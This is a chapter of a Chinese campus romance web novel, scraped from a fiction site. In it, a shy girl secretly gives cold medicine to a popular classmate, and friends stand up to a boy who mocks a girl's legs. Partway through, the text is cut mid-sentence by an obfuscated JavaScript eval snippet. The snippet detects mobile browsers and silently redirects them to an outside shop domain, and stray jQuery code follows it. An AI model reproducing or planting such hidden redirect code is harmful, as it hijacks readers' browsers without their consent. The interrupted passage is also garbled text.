文趣网 > 都市小说 > 悄悄许愿 > 2. 相形见绌
    “你们现在啊,正是横冲直撞的年纪,什么都敢想,什么都敢试,带着少年人特有的热忱和莽撞,恰恰是风华正茂的最好时候……”

    距离下课还有一分钟,语文老师却毫不在意自己已经离题千里,慷慨激昂,越讲越起劲。

    台下同学昏昏欲睡,直到——

    “林之!”

    身后传来桌椅碰撞的声响,全班大半的人闻声回头。

    男生头顶翘起一撮呆毛,眼神迷茫,脸上睡出来的红印分外显眼,不少人噗嗤笑出声。

    “睡神转世吗你,每次上我课就昏迷,这周都第几次了?我是真的很好奇,你上你们班主任的课也这样吗?”

    林之抓了把头发,语气无辜:“老师,也不能怪我啊,我坐这么后面,看不见黑板呀。”

    “看不见黑板就配眼镜!你同桌怎么就看得见?上课能不能跟人家好好学学,”说着又冲全班喊,“你们也是!晚上少熬点夜……”

    趁她絮絮叨叨的空隙,林之侧过头,朝徐简野竖了个没素质的中指。

    原因无他,他那位好好同桌此刻语文书下压着的俨然是一张已经完成大半的数学卷子,这人根本没在好好听课!

    当事人懒散地靠在椅背上,单手转笔,两条长腿敞开,只扯唇微微一笑。

    下课铃响,语文老师抱着教材,示意林之跟她去办公室。

    借着这个机会,班里大部分人的目光又自然而然地落向后排那个男生身上。

    书陶克制住自己,只飞快地掠了一眼。

    可就是那一眼,恰好撞上男生黑眸微抬、唇角牵着漫不经心笑意的模样。

    她微抿唇,无来由地想要探寻更多。

    他今天……心情很好吗?

    不过。

    他笑起来好好看。

    临近体育课开始,班里的人已经差不多走光了。

    楼梯间上上下下挤满了人,书陶正随着人流往下走,袖子忽然被颜沛轻轻扯了扯。

    对上一张可怜巴巴的脸,“我生理期好像来了。”

    书陶很快反应过来,“你先去厕所,我给你拿卫生巾,再帮你找老师开假条。”

    颜沛虚弱地比了个“OK”的手势。

    “在书包最小的那个夹层里。”

    班级没什么人,几排灯光都暗了下来,书陶没有动颜沛的包,猫着身子在自己包里翻找出两片。

    刚想起身,耳边就响起篮球拍地的声音,间或夹着几个男生的说笑声,从走廊那头一路传过来。

    “你们有没有谁带感冒药的?”

    语调很高昂,是林之的声音。

    “没呢。咋啦,你感冒了?”

    “不是我,是徐简野。”

    “他忘带药了。”

    说话声如潮水般渐渐远去。

    书陶撑着发麻的腿站起来,想到什么,又重新从包里摸索出一样东西,将目光缓缓投向那个空座位。

    体育老师没怎么为难大家,热身一结束就放了自由活动。

    颜沛方才在操场边的椅子上歇着,见书陶走近,利索地把水杯递了过去,又举起小风扇对准她吹。

    “都十月了,天气怎么还是这么热,受不了了。”

    书陶点点头表示同意,问颜沛:“你现在感觉怎么样?需不需要吃药呀,我有带布洛芬。”

    个人体质使然,书陶每次生理期都疼得脸色发白,久而久之也就习惯了前两天先吃止痛药,不至于影响太多。

    颜沛倒是精神抖擞,“没事啦,我现在感觉身体倍儿棒!能吃三碗大米饭。”

    话音刚落,一声轻笑从旁边那棵枝繁叶茂的大树后面传过来。

    非常突兀。

    两人同时狐疑地看过去,有个男生正靠在树干上,肩膀一抖一抖的。

    看起来笑得乐不可支。

    认出是他,颜沛忍无可忍骂道:“迟既白你有病吧!”

    …

    篮球场上热浪蒸腾,来打球的人却不见少。

    秉持“德智体美劳全面发展”原则,一中有专门的男子女子校篮球队,每学期会安排篮球训练和比赛,赢了比赛还有奖金拿。

    不过一般来说,男生女生泾渭分明,各占各的地盘互不干扰。

    李杰斯灌了一口水,用胳膊肘碰了碰旁边的人,挤眉弄眼,“啧,这腿也敢穿短裤。”

    旁边男生顺着他的视线看过去,落在一个正弯腰系鞋带的女生身上。

    她穿了一条宽松的运动短裤,露出一截匀称的小腿。

    “又黑又粗,丑死了。”

    讨论声半点没避着旁人,女生明显是听见了,嘴角抿得很紧,面上有些难堪。

    场上窃窃私语声愈发吵闹,阳光晒得人头晕目眩,乔雨灵垂下眼,默默想着明天还是穿长裤吧。

    忽而,感觉有人轻轻拍了自己一下。

    阳光从枝叶间漏下来,碎金一样落在书陶脸上,她递过去一个安抚性的笑容,小声说:

    “别理他们,你穿短裤很好看。”

    本来就是很漂亮、很正常的腿部线条,流畅又有力量感。

    天气炎热,穿运动短裤是为了练球方便,不是为了让谁评头论足的。

    没必要因为别人的目光就藏起来。

    没多久,颜沛气势汹汹从旁边走出来,朝李杰斯的方向挑衅似的扬起下巴。

    “你管天管地还管人穿什么?闲着没事干盯着别人腿看,变不变态啊。”

    这边的动静越来越大,场上打篮球的几个也停了下来,三三两两聚过来。

    迟既白混在人群里,率先应了一声:“就是,变态。”

    一石惊起千层浪。

    陆陆续续有人站出来为乔雨灵说话。

    “乔雨灵我女神,人家是为班争光你懂吗?拿冠军的时候你还不知道在哪个犄角旮旯里呢。”

    “说别人腿黑,自己球打得也不怎么样啊。”

    “……”

    李杰斯这人有个毛病——越被人围着骂,越觉得是自己有排面。

    因此这会儿,眼见围观群众越来越多,他非但不觉得丢人,反而挺了挺胸,更洋洋得意了。

    他依然用满不在乎的轻蔑口吻,“那她把腿露出来不就是给别人看的吗。”

    跟这人交流简直污染空气。

    书陶蹙眉,自觉往后退了退,没留意自己正站在最近的投篮点旁边。

    投篮点中央,少年腕骨发力,手中的篮球重重砸向地面,不偏不倚地,球骨碌碌往李杰斯脚边滚去。

    “卧槽谁啊!”

    他被绊了个趔趄,差点摔个狗啃泥。

    看到李杰斯脸色一阵青一阵白,书陶心里总算畅快了些。

    她忍不住循着球滚来的方向望过去,想看看是哪位好心人精准命中。

    下一瞬,清冽干净的薄荷气息从身侧袭来。

    而后是冷淡的一声嘲弄。

    “是吗,你露腿就是给别人看的吗。”

    “关你——”

    李杰斯猛地抬头,看清来人后又立刻噤声。

    操场很空旷,午后的风从远处吹过来,把篮球场边上的落叶卷起又放下。

    徐简野站在正中央,冷冷睥睨着他。

    -

    “李杰斯这个欺软怕硬的,仗着自己家里有点臭钱就无法无天,结果真碰到更有势力的就怕了。”

    食堂里人声鼎沸,颜沛把筷子“啪嗒”一放,就今天体育课的事义愤填膺地开骂。

    从“你说他小脑是不是没发育完全”到“这种人就是欠揍欠骂欠治”,语气愈发高昂。

    一口气窜下来十几句,愣是没一句重复的。

    讲到最后口干舌燥,颜沛端起汤碗润了润嗓,一转头,发现面前温温吞吞的女生正用一种近乎崇拜的眼神望着自己。

    书陶在她骂人的间隙时不时认真点头附和,语气里带着几分真诚的艳羡:

    “沛沛,你战斗力好强啊。”

    颜沛有些飘飘然乎,扬唇摆摆手,“低调低调。”

    她很快就被别的事情分去心神。

    “欸!徐简野今天居然来食堂吃饭吗?”

    倏然听见在唇齿间悄悄辗转过千百回的名字,书陶眼睫颤了颤,尽量若无其事地“嗯”了一声。

    其实徐简野进食堂的第一秒她就注意到了。

    阳光从低处斜斜打进来,入口光与影暧昧的交界处多出一群人,为首是一道挺拔清瘦的身形,后面跟了几个嬉笑的男生。

    “话说,感觉我们学校好多人都喜欢他啊。我老见他收到各种精心准备的小礼物,卡片啊手作啊,一个比一个精致,少女心满满的。”

    颜沛用筷子戳了戳碗里的饭,忽然幽幽地来了一句:“好想知道拥有万千少女的真心到底是什么感觉。”

    好几个女生频频往徐简野排队的窗口张望,路过的男生也都熟络地跟他打招呼。

    他似乎总能成为人群的焦点,可以游刃有余地对待任何人与事。

    光芒万丈、遥不可及。

    静了几秒,书陶垂下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970351|214639||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼,没再看他。

    “哦对,还有送感冒药的。”

    半晌,颜沛想到什么,顺口提了一嘴。

    书陶一怔,“啊?”

    “今天体育课一回来他就发现自己桌上多了一盒999感冒灵,问了一圈都没人认领。”

    书陶心跳蓦地停了一拍。

    他看到了吗?

    “你当时在外面接水呢,可能不太清楚。”

    “还有人问送药的人干嘛不留署名,做好事不留名,是想当活雷锋吗。”

    听到这,书陶不自觉咬了咬唇。

    其实她有贴便签,不过是用左手歪歪扭扭地写了“徐简野”三个字。

    也曾想过写些祝福的话,可笔尖迟疑片刻,纸上终究只剩他的名字。

    她不敢写别的。

    只在心里悄悄祈盼了一句——早点好起来呀。

    如果上天愿意成全的话。

    “那,”书陶放慢语速,问得小心翼翼,“他有吃那个药吗?”

    “不清楚欸,可能没吃吧,”颜沛对这个倒是兴致缺缺,话锋一转,“我发现桃子你的关注点总是很奇特欸。”

    “有吗。”

    书陶不自在地低下头,从口袋里摸出一小包心相印,抽出一张擦了擦嘴,又递给颜沛,“我吃完了,走吗?”

    回教室的路被葱茏的绿树掩映着,书陶走在其中,思绪却早已飘远。

    他到底有没有吃她给的药呢?

    也许他根本不缺吧。那么多人上赶着给他送东西,她不也是其中一个吗?

    不过她不后悔。

    万一呢。

    万一他就是找不到别人借呢。

    万一他就缺这一盒呢。

    晚自习前的教室照常喧闹不止,书陶从讲台上找出一支黑色油性笔,正往白板上抄今天的语文作业。

    前门进来两个人,各抱着一摞作业本。

    “厉害啊你,雅思拿那么高分!”

    林之越说越兴奋,手舞脚动地比划着。

    讲台台阶本来就窄,他背对着白板,手肘猛地往后一扬,撞上了书陶的手臂。

    女孩被撞得笔尖一歪,也不出声,只默默往旁边挪了半步,擦掉重写。

    见状,徐简野皱了皱眉,拎着林之的衣领往后扯了一点。

    “行了,别挡着人家写字。”

    林之这才反应过来,赶紧双手合十赔了个不是。

    摸了摸口袋,是空的。

    他眼皮都不眨,直接探手从徐简野那儿顺了两颗大白兔奶糖,塞给书陶,“请你吃糖,别生气啊。”

    书陶怯生生回了句“谢谢”,接过糖时抿了抿嘴,整张脸被教室的灯光照得有些透亮,耳廓是粉的。

    她知道林之没有恶意。

    而徐简野将视线错开,极淡地笑了一声。

    这性子,跟面团捏的似的,能跟谁生气?

    黑板前。

    书陶眨了眨眼,珍而重之地将糖果攥进手心,快速写完了作业任务。

    正要放下笔,忽然听见有人喊她。

    学习委员笑得甜甜的,语气带着点央求:“小书,能不能帮我写一下今天晚自习的课表呀?”

    为了让学生合理安排作业时间,避免晚自习乱糟糟的,学校特意排了每科的作业时段。

    “可以的。”书陶眉眼温顺地应下,另找了块空位重新写。

    距离晚自习还有几分钟,她写完去洗手池洗手,水声哗哗的,人也跟着恍惚了一下。

    他似乎又去考了很厉害的试。

    雅思,是什么?

    大概是,在她的生活中,从来没有出现过的一个词。

    自出生起,书陶就跟着爷爷奶奶在小县城生活,直到初中才被父母接到南汀来读书。

    叶盛美把她的生活管得密不透风。几点回家、和谁来往、手机里有什么,全要过目。

    她像被养在玻璃罩子里,世界只有那么大一点,对太多东西都后知后觉。

    但今晚站在讲台前,听着他们随口抛出的那些陌生词句,她忽然有些难堪。

    原来,少女心事是没有见过世面的相形见绌。

    -

    如果用四个词来形容他。

    我想会是。

    张扬,绅士,尊重,担当。

    原来与有荣焉是这个意思。

    很值得骄傲,我喜欢的是一个顶顶好的人。

    然后,我会努力变得更好、更优秀。

    贪心一点说,我想超过他。